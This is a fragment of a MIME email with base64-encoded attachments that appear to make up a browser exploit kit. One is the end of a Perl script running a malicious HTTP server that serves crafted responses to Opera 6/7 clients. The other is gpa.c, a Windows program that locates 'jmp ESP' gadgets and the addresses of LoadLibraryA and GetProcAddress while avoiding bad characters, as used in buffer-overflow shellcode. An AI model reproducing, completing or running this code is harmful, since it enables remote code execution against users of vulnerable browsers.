cGxvaXRodG1sXG4iKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCBTVERFUlIg
KCIkdXJsXG4iKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAg
ICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICRhY3RpdmUtPnNlbmQoJGZha2VyZXMpOw0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIHByaW50IFNUREVSUiAoInJlc3BvbnNlXG4kZmFrZXJlc1xuIik7DQogICAgICAg
ICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAg
ICB9DQogICAgICAgICAgICAgICAgZWxzaWYgKDB4ZmZmZiA+IGxlbmd0aCgkQ0xJRU5UU3skYWN0
aXZlfSkpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBuZXh0Ow0KICAg
ICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgew0K
ICAgICAgICAgICAgICAgICAgICAkYWN0aXZlLT5zZW5kKCJIVFRQLzEuMCA0MDAgQmFkIFJlcXVl
c3RcclxuXHJcblxyXG4iKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAg
ICAgICAgICBwcmludCBTVERFUlIgKCJjbGllbnQgY2xvc2VkLCAkYWN0aXZlXG4iKTsNCg0KICAg
ICAgICAgICAgZGVsZXRlKCRDTElFTlRTeyRhY3RpdmV9KTsNCiAgICAgICAgICAgICRzZWxlY3Rl
ci0+cmVtb3ZlKCRhY3RpdmUpOw0KICAgICAgICAgICAgJGFjdGl2ZS0+Y2xvc2UoKTsNCiAgICAg
ICAgfQ0KICAgIH0NCn0NCg0KJHNzb2NrZXQtPmNsb3NlKCk7DQoNCmV4aXQoMCk7DQoNCnN1YiBV
c2FnZQ0Kew0KICAgIHByaW50ZiBTVERFUlIgKCJVc2FnZTogcGVybCAlcyBbLWhdIFstZ10gWy1z
IHNlcnZlcm5hbWVdIFstcCBwb3J0XVxuIiwgKCQwPX5tfihbXlxcL10rPykkfilbMF18fCIvIik7
DQogICAgcHJpbnQgU1RERVJSICgiICAgICAgIFstdyBvc10gWy10IGxlbmd0aF9vZl90ZW1wZGly
XVxuIik7DQogICAgcHJpbnQgU1RERVJSICgiT3B0aW9uczpcbiIpOw0KICAgIHByaW50IFNUREVS
UiAoIiAgLWggcHJpbnQgVXNhZ2VcbiIpOw0KICAgIHByaW50IFNUREVSUiAoIiAgLWcgZG9uJ3Qg
dXNlIGdwYS5leGVcbiIpOw0KICAgIHByaW50IFNUREVSUiAoIiAgLXMgc3BlY2lmeSBzZXJ2ZXIg
bmFtZSAgICAgICAgICAgICAgICAgICAgIChkZWZhdWx0OiAkc2VydmVyYWRkcilcbiIpOw0KICAg
IHByaW50IFNUREVSUiAoIiAgLXAgc3BlY2lmeSBzZXJ2ZXIgcG9ydCgxMDI0LTY1NTM1KSwgICAg
ICAgIChkZWZhdWx0OiAkcG9ydClcbiIpOw0KICAgIHByaW50IFNUREVSUiAoIiAgLW8gc3BlY2lm
eSBPcGVyYSB2ZXJzaW9uIHs2fDd9LCAgICAgICAgICAgIChkZWZhdWx0OiA3KVxuIik7DQogICAg
cHJpbnRmIFNUREVSUiAoIiAgLXQgc3BlY2lmeSBsZW5ndGggb2YgdGVtcG9yYXJ5IGRpcmVjdG9y
eSBuYW1lLCAoZGVmYXVsdDogJWQpXG4iLGxlbmd0aCgkRU5WeydURU1QJ30pKTsNCiAgICBwcmlu
dCBTVERFUlIgKCJcbiIpOw0KfQ0KDQpfX0VORF9fDQo=
--------_3E6E66C93F110254A400_MULTIPART_MIXED_
Content-Type: application/octet-stream; name="gpa.c"
Content-Disposition: attachment;
filename="gpa.c"
Content-Transfer-Encoding: base64
Ly8NCi8vIFRoaXMgbGl0dGxlIHByb2dyYW0gcmV0dXJucyB0aGUgYWRkcmVzc2VzIG9mIExvYWRM
aWJyYXJ5QSgpLA0KLy8gR2V0UHJvY0FkZHJlc3MoKSwgYW5kICJqbXAgRVNQIiBvbiB5b3VyIFdp
bmRvd3MuDQovLw0KLy8gSWYgeW91ciBjb21waWxlciBjYW5ub3QgdXNlIFNFSCwNCi8vIHBsZWFz
ZSBjb21tZW50IG91dCAiI2RlZmluZSBVU0VfU0VIIg0KLy8NCiNpbmNsdWRlIDxzdGRpby5oPg0K
DQovLz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT0vLw0KLy8gYSBnZW5lcmFsIHJvdXRpbmUsIHNlYXJjaCBpbiBtZW1vcnkN
CiNpbmNsdWRlIDx3aW5kb3dzLmg+DQojaW5jbHVkZSA8cHNhcGkuaD4NCg0KI2RlZmluZSBVU0Vf
U0VIDQoNCi8vLS0tLS0tLS0tLSBkYXRhIGZvciBzZWFyY2ggYWRkcmVzcyAtLS0tLS0tLS0tLS0N
CmNvbnN0IHVuc2lnbmVkIGNoYXIgKkRsbExpc3RbXT17DQogICAgImtlcm5lbDMyLmRsbCIsLy8g
ZG8gbm90IGVkaXQga2VybmVsMzIuZGxsDQogICAgInVzZXIzMi5kbGwiLA0KICAgICJnZGkzMi5k
bGwiLA0KICAgICJhZHZhcGkuZGxsIiwNCiAgICAiaW1tMzIuZGxsIiwNCiAgICAid2lubW0uZGxs
IiwNCiAgICAib2xlMzIuZGxsIiwNCiAgICAibmV0YXBpMzIuZGxsIg0KfTsNCg0KI2RlZmluZSBE
bGxDb3VudCAoc2l6ZW9mKERsbExpc3QpL3NpemVvZih1bnNpZ25lZCBjaGFyICopKQ0KDQpjb25z
dCB1bnNpZ25lZCBjaGFyICpKbXBFU1BMaXN0WzNdPXsNCiAgICAiXHhGRlx4RDQiLA0KICAgICJc
eEZGXHhFNCIsDQogICAgIlx4NTRceEMzIg0KfTsNCg0KaW50IGlzQWRkckF2YWlsYWJsZUNoYXIo
dW5zaWduZWQgbG9uZyBJTl9hZGRyKQ0Kew0KICAgIC8vIGV4Y2x1ZGUgMHgwMDAwLDB4ZmZmZiww
eDAwMmYsMHgwMDNlLDB4MDA0MCwweDAwMjUNCiAgICByZXR1cm4oDQogICAgICAgIChJTl9hZGRy
ICYgMHgwMDAwZmZmZikNCiAgICAgICAgJiYgKElOX2FkZHIgJiAweGZmZmYwMDAwKQ0KICAgICAg
ICAmJiAoKElOX2FkZHIgJiAweDAwMDBmZmZmKSAhPSAweDAwMDBmZmZmKQ0KICAgICAgICAmJiAo
KElOX2FkZHIgJiAweGZmZmYwMDAwKSAhPSAweGZmZmYwMDAwKQ0KICAgICAgICAmJiAoKElOX2Fk
ZHIgJiAweDAwMDBmZmZmKSAhPSAweDAwMDAwMDJmKQ0KICAgICAgICAmJiAoKElOX2FkZHIgJiAw
eGZmZmYwMDAwKSAhPSAweDAwMmYwMDAwKQ0KICAgICAgICAmJiAoKElOX2FkZHIgJiAweDAwMDBm
ZmZmKSAhPSAweDAwMDAwMDIyKQ0KICAgICAgICAmJiAoKElOX2FkZHIgJiAweGZmZmYwMDAwKSAh
PSAweDAwMjIwMDAwKQ0KICAgICAgICAmJiAoKElOX2FkZHIgJiAweDAwMDBmZmZmKSAhPSAweDAw
MDAwMDNlKQ0KICAgICAgICAmJiAoKElOX2FkZHIgJiAweGZmZmYwMDAwKSAhPSAweDAwM2UwMDAw
KQ0KICAgICAgICAmJiAoKElOX2FkZHIgJiAweDAwMDBmZmZmKSAhPSAweDAwMDAwMDQwKQ0KICAg
ICAgICAmJiAoKElOX2FkZHIgJiAweGZmZmYwMDAwKSAhPSAweDAwNDAwMDAwKQ0KICAgICAgICAm
JiAoKElOX2FkZHIgJiAweDAwMDBmZmZmKSAhPSAweDAwMDAwMDI1KQ0KICAgICAgICAmJiAoKElO
X2FkZHIgJiAweGZmZmYwMDAwKSAhPSAweDAwMjUwMDAwKQ0KICAgICk7DQp9DQoNCnVuc2lnbmVk
IGNoYXIgKiBzZWFyY2hJbk1lbSh1bnNpZ25lZCBjaGFyICpJTl9zdGFydCxpbnQgSU5fc2l6ZSwg
Y29uc3QgdW5zaWduZWQgY2hhciAqSU5fZGF0YSwgaW50IElOX2RhdGFfc2l6ZSkNCnsNCiAgICB1
bnNpZ25lZCBjaGFyICpjdXJfcG9zID0gSU5fc3RhcnQgKyBJTl9zaXplIC0gSU5fZGF0YV9zaXpl
Ow0KDQojaWZkZWYgVVNFX1NFSA0KICAgIF9fdHJ5DQogICAgew0KI2VuZGlmDQogICAgICAgIHdo
aWxlIChjdXJfcG9zID49IElOX3N0YXJ0KQ0KICAgICAgICB7DQogICAgICAgICAgICBpZiAoIDAg
PT0gbWVtY21wKGN1cl9wb3MsIElOX2RhdGEsIElOX2RhdGFfc2l6ZSkNCiAgICAgICAgICAgICAg
ICAmJiBpc0FkZHJBdmFpbGFibGVDaGFyKCh1bnNpZ25lZCBsb25nKWN1cl9wb3MpICkNCiAgICAg
ICAgICAgICAgICByZXR1cm4gY3VyX3BvczsNCiAgICAgICAgICAgIC0tY3VyX3BvczsNCiAgICAg
ICAgfQ0KI2lmZGVmIFVTRV9TRUgNCiAgICB9DQogICAgX19leGNlcHQoKFNUQVRVU19BQ0NFU1Nf
VklPTEFUSU9OID09IEdldEV4Y2VwdGlvbkNvZGUoKSkNCiAgICAgICAgPyBFWENFUFRJT05fRVhF
Q1VURV9IQU5ETEVSIDogRVhDRVBUSU9OX0NPTlRJTlVFX1NFQVJDSCkNCiAgICB7DQogICAgfQ0K
I2VuZGlmDQoNCiAgICByZXR1cm4gMDsNCn0NCg0KaW50IGdldEFkZHJlc3ModW5zaWduZWQgbG9u
ZyAqT1VUX2ptcCx1bnNpZ25lZCBsb25nICpPVVRfbG9hZGxpYix1bnNpZ25lZCBsb25nICpPVVRf
Z2V0cHJvYykNCnsNCiAgICBpbnQgaSxqOw0KICAgIEhNT0RVTEUgaGxpc3RbRGxsQ291bnRdOw0K
ICAgIE9TVkVSU0lPTklORk8gaW5mbzsNCg0KICAgIGluZm8uZHdPU1ZlcnNpb25JbmZvU2l6ZT1z
aXplb2YoT1NWRVJTSU9OSU5GTyk7DQogICAgR2V0VmVyc2lvbkV4KCZpbmZvKTsNCg0KICAgIG1l
bXNldChobGlzdCwwLHNpemVvZihobGlzdCkpOw0KICAgIGlmIChpbmZvLmR3UGxhdGZvcm1JZD09
VkVSX1BMQVRGT1JNX1dJTjMyX05UKQ0KICAgIHsNCiAgICAgICAgLy8gTlQNCiAgICAgICAgTU9E
VUxFSU5GTyBtaW5mbzsNCiAgICAgICAgSE1PRFVMRSBwc2FwaSA9IExvYWRMaWJyYXJ5KCJwc2Fw
aS5kbGwiKTsNCiAgICAgICAgQk9PTCAoV0lOQVBJICpmcF9HZXRNb2R1bGVJbmZvcm1hdGlvbiko
SEFORExFLEhNT0RVTEUsTFBNT0RVTEVJTkZPLERXT1JEKTsNCg0KICAgICAgICBmcF9HZXRNb2R1
bGVJbmZvcm1hdGlvbiA9ICh2b2lkKilHZXRQcm9jQWRkcmVzcyhwc2FwaSwiR2V0TW9kdWxlSW5m
b3JtYXRpb24iKTsNCiAgICAgICAgZm9yIChpPTA7aTxEbGxDb3VudDsrK2kpDQogICAgICAgIHsN
CiAgICAgICAgICAgIGhsaXN0W2ldID0gTG9hZExpYnJhcnkoRGxsTGlzdFtpXSk7DQogICAgICAg
ICAgICBpZiAoaGxpc3RbaV0pDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZnBfR2V0
TW9kdWxlSW5mb3JtYXRpb24oR2V0Q3VycmVudFByb2Nlc3MoKSxobGlzdFtpXSwmbWluZm8sc2l6
ZW9mKE1PRFVMRUlORk8pKTsNCg0KICAgICAgICAgICAgICAgIGZvciAoaj0wO2o8MyAmJiAhKCpP
VVRfam1wID0gKHVuc2lnbmVkIGxvbmcpc2VhcmNoSW5NZW0oKHZvaWQqKWhsaXN0W2ldLG1pbmZv
LlNpemVPZkltYWdlLEptcEVTUExpc3Rbal0sMikpOysraik7DQogICAgICAgICAgICAgICAgaWYg
KCpPVVRfam1wKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7
DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIEZy
ZWVMaWJyYXJ5KHBzYXBpKTsNCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgICAgLy8gOXgN
CiAgICAgICAgTUVNT1JZX0JBU0lDX0lORk9STUFUSU9OIG1pbmZvOw0KICAgICAgICBmb3IgKGk9
MDtpPERsbENvdW50OysraSkNCiAgICAgICAgew0KICAgICAgICAgICAgaGxpc3RbaV0gPSBMb2Fk
TGlicmFyeShEbGxMaXN0W2ldKTsNCiAgICAgICAgICAgIGlmIChobGlzdFtpXSkNCiAgICAgICAg
ICAgIHsNCiAgICAgICAgICAgICAgICBWaXJ0dWFsUXVlcnkoaGxpc3RbaV0sJm1pbmZvLHNpemVv
ZihNRU1PUllfQkFTSUNfSU5GT1JNQVRJT04pKTsNCg0KICAgICAgICAgICAgICAgIGZvciAoaj0w
O2o8MyAmJiAhKCpPVVRfam1wID0gKHVuc2lnbmVkIGxvbmcpc2VhcmNoSW5NZW0oKHZvaWQqKWhs
aXN0W2ldLG1pbmZvLlJlZ2lvblNpemUsSm1wRVNQTGlzdFtqXSwyKSk7KytqKTsNCiAgICAgICAg
ICAgICAgICBpZiAoKk9VVF9qbXApDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICAgICBicmVhazsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0N
CiAgICB9DQogICAgLy8ga2VybmVsMzIuZGxsDQogICAgKk9VVF9sb2FkbGliID0gKHVuc2lnbmVk
IGxvbmcpR2V0UHJvY0FkZHJlc3MoaGxpc3RbMF0sIkxvYWRMaWJyYXJ5QSIpOw0KICAgICpPVVRf
Z2V0cHJvYyA9ICh1bnNpZ25lZCBsb25nKUdldFByb2NBZGRyZXNzKGhsaXN0WzBdLCJHZXRQcm9j
QWRkcmVzcyIpOw0KDQogICAgZm9yIChpPTA7aTxEbGxDb3VudDsrK2kpDQogICAgICAgIGlmICgw
ICE9IGhsaXN0W2ldKQ0KICAgICAgICAgICAgRnJlZUxpYnJhcnkoaGxpc3RbaV0pOw0KDQogICAg
cmV0dXJuICgqT1VUX2ptcCAmJiAqT1VUX2xvYWRsaWIgJiYgKk9VVF9nZXRwcm9jKSA/IDEgOiAw
Ow0KfQ0KDQovLy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0NCg0KaW50IG1haW4oKQ0Kew0KICAgIHVuc2lnbmVkIGxvbmcgam1wZXNwLGxvYWRsaWIs
Z2V0cHJvYzsNCiAgICBpZiAoIWdldEFkZHJlc3MoJmptcGVzcCwmbG9hZGxpYiwmZ2V0cHJvYykp
DQogICAgICAgIHJldHVybiAtMTsNCg0KICAgIHByaW50ZigiMHglWCwweCVYLDB4JVgiLGptcGVz
cCxsb2FkbGliLGdldHByb2MpOw0KICAgIHJldHVybiAwOw0KfQ0K
--------_3E6E66C93F110254A400_MULTIPART_MIXED_--
